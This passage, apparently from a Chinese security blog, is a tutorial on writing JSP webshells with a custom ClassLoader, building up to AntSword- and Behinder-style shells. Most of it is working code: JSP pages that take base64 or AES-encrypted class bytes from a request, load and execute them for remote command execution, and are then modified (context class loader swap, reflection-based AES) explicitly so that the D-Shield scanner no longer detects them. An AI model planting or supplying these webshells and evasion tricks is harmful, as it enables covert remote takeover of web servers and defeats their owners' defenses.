vY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAqKExqYXZhL2lvL0lucHV0U3RyZWFtO0xqYXZhL2xhbmcvU3RyaW5nOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAFY2xvc2UBAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsBABRqYXZhL2lvL091dHB1dFN0cmVhbQAhAB8AIAAAAAAABAABACEAIgABACMAAAAvAAEAAQAAAAUqtwABsQAAAAIAJAAAAAYAAQAAAAwAJQAAAAwAAQAAAAUAJgAnAAAAAQAoACkAAQAjAAAALQABAAEAAAADEgKwAAAAAgAkAAAABgABAAAADgAlAAAADAABAAAAAwAmACcAAAABACoAKwABACMAAACVAAIABAAAABUrtgADTSostgAEV6cACE4ttgAGBKwAAQAFAAsADgAFAAMAJAAAABoABgAAABMABQAVAAsAGAAOABYADwAXABMAGQAlAAAAKgAEAA8ABAAsAC0AAwAAABUAJgAnAAAAAAAVAC4ALwABAAUAEAAwADEAAgAyAAAAFgAC/wAOAAMHAB8HACAHAAoAAQcABQQAAgAzADQAAgAjAAABWAAFAAkAAACAuwAHWbcACE24AAkGvQAKWQMSC1NZBBIMU1kFK1O2AA1OLbYADjoEuwAPWRkEEhC3ABE6BbsAElkZBbcAEzoGGQa2ABRZOgfGABIsGQe2ABUSFrYAFVen/+kstgAXOgiyABgZCLYAGRkGtgAaGQW2ABsZBLYAHC22AB22AB4ZCLAAAAADACQAAAA6AA4AAAAcAAgAHQAhAB4AJwAfADQAIAA/ACIASgAjAFkAJQBfACYAZwAnAGwAKABxACkAdgAqAH0AKwAlAAAAXAAJAAAAgAAmACcAAAAAAIAAMAAxAAEACAB4ADUANgACACEAXwA3ADgAAwAnAFkAOQA6AAQANABMADsAPAAFAD8AQQA9AD4ABgBHADkAPwAxAAcAXwAhAEAAMQAIADIAAAAkAAL/AD8ABwcAHwcACgcABwcAQQcAQgcADwcAEgAA/AAZBwAKAEMAAAAEAAEABQABAEQAAAACAEU=";
            byte[] bytes = Base64.getDecoder().decode(classStr);
            return super.defineClass(bytes, 0, bytes.length);
        }
    }
    
    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException {
        Myloader myloader = new Myloader();
        Class aClass = myloader.get();
        Object o = aClass.newInstance();
        Object obj = "ifconfig";
        boolean equals = o.equals(obj);
        System.out.println(equals);
    }

}

同样修改命令、重新编译、改为jsp页面。

<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Base64" %>

<%
    try {
        out.print(System.getProperty("os.name").toLowerCase());
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            class Myloader extends ClassLoader {
                public Class get() {
                    String classStr = "yv66vgAAADQAcAoAHwA1CgAfADYKAB4ANwcAOAoABAA5BwA6CgAGADUKADsAPAcAPQgAPggAPwoAOwBACgBBAEIHAEMIAEQKAA4ARQcARgoAEQBHCgARAEgKAAYASQgASgoABgA2CQBLAEwKAE0ATgoAEQBPCgAOAE8KAFAATwoAQQBRCgBSAE8HAFMHAFQBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAUwcAVAcAPQcAOAEAA0NNRAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7BwA6BwBVBwBWBwBDBwBGAQAKRXhjZXB0aW9ucwEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMACAAIQwAVwBYDAArACwBABNqYXZhL2xhbmcvRXhjZXB0aW9uDABZACEBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcAWgwAWwBcAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwAXQBeBwBVDABfAGABABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyAQADR0JLDAAgAGEBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyDAAgAGIMAGMAWAwAZABlAQABCgcAZgwAZwBoBwBpDABqAGsMAGwAIQcAVgwAbQBuBwBvAQAVY29tL2F0Z3VpZ3UvdGVzdC9UZXN0AQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAA9wcmludFN0YWNrVHJhY2UBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBACooTGphdmEvaW8vSW5wdXRTdHJlYW07TGphdmEvbGFuZy9TdHJpbmc7KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVjbG9zZQEAD2dldE91dHB1dFN0cmVhbQEAGCgpTGphdmEvaW8vT3V0cHV0U3RyZWFtOwEAFGphdmEvaW8vT3V0cHV0U3RyZWFtACEAHgAfAAAAAAADAAEAIAAhAAEAIgAAAB0AAQABAAAABSq3AAGxAAAAAQAjAAAABgABAAAACwABACQAJQABACIAAABlAAIABAAAABUrtgACTSostwADV6cACE4ttgAFBKwAAQAFAAsADgAEAAIAIwAAABoABgAAAA8ABQARAAsAFAAOABIADwATABMAFQAmAAAAFgAC/wAOAAMHACcHACgHACkAAQcAKgQAAgArACwAAgAiAAAA9gAFAAkAAACAuwAGWbcAB024AAgGvQAJWQMSClNZBBILU1kFK1O2AAxOLbYADToEuwAOWRkEEg+3ABA6BbsAEVkZBbcAEjoGGQa2ABNZOgfGABIsGQe2ABQSFbYAFFen/+kstgAWOgiyABcZCLYAGBkGtgAZGQW2ABoZBLYAGy22ABy2AB0ZCLAAAAACACMAAAA6AA4AAAAYAAgAGQAhABoAJwAbADQAHAA/AB4ASgAfAFkAIQBfACIAZwAjAGwAJABxACUAdgAmAH0AJwAmAAAAJAAC/wA/AAcHACcHACkHAC0HAC4HAC8HADAHADEAAPwAGQcAKQAyAAAABAABAAQAAQAzAAAAAgA0";
                    byte[] bytes = Base64.getDecoder().decode(classStr);
                    return super.defineClass(bytes, 0, bytes.length);
                }
            }

        Myloader myloader = new Myloader();
        Class aClass = myloader.get();
        Object o = aClass.newInstance();
        Object obj = cmd;
        boolean equals = o.equals(obj);
        out.println(equals);
        }
    } catch (Exception e) {
        out.println(e);
    }
%>

因为equals()方法返回值只为true或false,输出结果会在cmd终端里。

image.png

冰蝎webshell

此时我们看一下冰蝎的实现过程,即 利用动态二进制加密实现新型一句话木马之Java篇
对比我们写的用来命令执行的自定义类加载器,会发现我们当前的class字节码文件是在编译后传入的,只用来命令执行。而命令执行只属于冰蝎的一个功能点。
1、那总不能每次实现一个功能都要编译后再传入吧。
冰蝎使用了ASM框架来动态修改class文件中的属性值,具体代码实现在\net\rebeyond\behinder\core\Params.java下的getParamedClass方法。
这样参数直接传入class字节码文件就可以了。
以蚁剑为例,将执行命令的数据包截取。

image.png

传入的pass值是经过base64编码后的,将其解码并反编译。

image.png

那对应的request对象也只是其中一个,还有ResponseSession等对象。
2、那有没有办法可以同时获取这几个对象呢?
传递pageContext,可以间接获取这几个对象。

HttpServletRequest request=(HttpServletRequest) pageContext.getRequest();

此时我们的代码调整为

<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>

<%
    try {
        class Myloader extends ClassLoader {
            public Class get(byte[] b) {
                return super.defineClass(b, 0, b.length);
            }
        }
        String classStr = request.getParameter("pass");
        Myloader myloader = new Myloader();
        byte[] bytes = java.util.Base64.getDecoder().decode(classStr);
        Class aClass = myloader.get(bytes);
        Object o = aClass.newInstance();
        boolean equals = o.equals(pageContext);
        out.println(equals);
    } catch (Exception e) {
        out.println(e);
    }
%>

蚁剑连接,就会出现java.lang.NoClassDefFoundError错误。

image.png

这个错误冰蝎也有提到,是因为自定义的ClassLoader和Request、Response、Seesion的ClassLoader不是同一个。复写ClassLoader的构造函数可以解决该问题。
代码随即变为,也就是蚁剑的webshell。

<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>

<%
    try {
        class Myloader extends ClassLoader {
            Myloader(ClassLoader c) {
            super(c);
        }
            public Class get(byte[] b) {
                return super.defineClass(b, 0, b.length);
            }
        }
        String classStr = request.getParameter("pass");
        Myloader myloader = new Myloader(this.getClass().getClassLoader());
        byte[] bytes = java.util.Base64.getDecoder().decode(classStr);
        Class aClass = myloader.get(bytes);
        Object o = aClass.newInstance();
        boolean equals = o.equals(pageContext);
        out.println(equals);
    } catch (Exception e) {
        out.println(e);
    }
%>
image.png

该代码在D盾依然可被查杀。查杀关键位置在

this.getClass().getClassLoader()、newInstance() 两个位置

使用

ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();

替换

this.getClass().getClassLoader()

即可免杀
代码如下:

<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>

<%
    try {
        class Myloader extends ClassLoader {
            Myloader(ClassLoader c) {
            super(c);
        }
            public Class get(byte[] b) {
                return super.defineClass(b, 0, b.length);
            }
        }
        String classStr = request.getParameter("pass");
        ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
        Myloader myloader = new Myloader(contextClassLoader);
        byte[] bytes = java.util.Base64.getDecoder().decode(classStr);
        Class aClass = myloader.get(bytes);
        Object o = aClass.newInstance();
        boolean equals = o.equals(pageContext);
        out.println(equals);
    } catch (Exception e) {
        out.println(e);
    }
%>

冰蝎的webshell在此基础上添加了AES加密,并且采用session存储来作为通信的会话。不过依然会被查杀。主要查杀点在AES加密上,使用反射实现AES加密。
代码如下:

<%!
    public byte[] AesEncode(String Strings,String k) {
        try {
            byte[] encryptedData = java.util.Base64.getDecoder().decode(Strings);
            Class aClass = Class.forName("javax.crypto.spec.SecretKeySpec");
            java.lang.reflect.Constructor  constructor = aClass.getConstructor(byte[].class, String.class);
            javax.crypto.spec.SecretKeySpec skeySpec = (javax.crypto.spec.SecretKeySpec) constructor.newInstance(k.getBytes(), "AES");
            javax.crypto.Cipher ciphers = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");
            ciphers.init(javax.crypto.Cipher.DECRYPT_MODE, skeySpec);
            Class aClass1 = ciphers.getClass();
            java.lang.reflect.Method method = aClass1.getDeclaredMethod("doFinal", new Class[]{byte[].class});
            Object invoke = method.invoke(ciphers, new Object[]{encryptedData});
            byte[] result = (byte[]) invoke;
            return result;
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }
%>
<%
    try {
        class Myloader extends ClassLoader {
            Myloader(ClassLoader c) {
                super(c);
            }

            public Class get(byte[] b) {
                return super.defineClass(b, 0, b.length);
            }
        }
        String k = "1a1dc91c907325c6";
        session.putValue("u", k);
        String Strings = request.getReader().readLine();
        ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
        Myloader myloader = new Myloader(contextClassLoader);
        byte[] aesencode = AesEncode(Strings,k);
        Class aClass = myloader.get(aesencode);
        Object o = aClass.newInstance();
        boolean equals = o.equals(pageContext);
        out.println(equals);
    } catch (Exception e) {
        out.println(e);
    }
%>  

可成功免杀。
除了上面两种源码层的免杀,在Jsp Webshell 免杀-命令执行 免杀手段依然有效。

总结

通过自定义的类加载器实现了命令执行的webshell,再进一步靠近蚁剑、冰蝎的webshell,最后修改服务端webshell达到免杀的效果。

参考资料

https://xz.aliyun.com/t/9050#toc-11
https://paper.seebug.org/1441/

你可能感兴趣的:(Jsp Webshell 免杀-类加载器)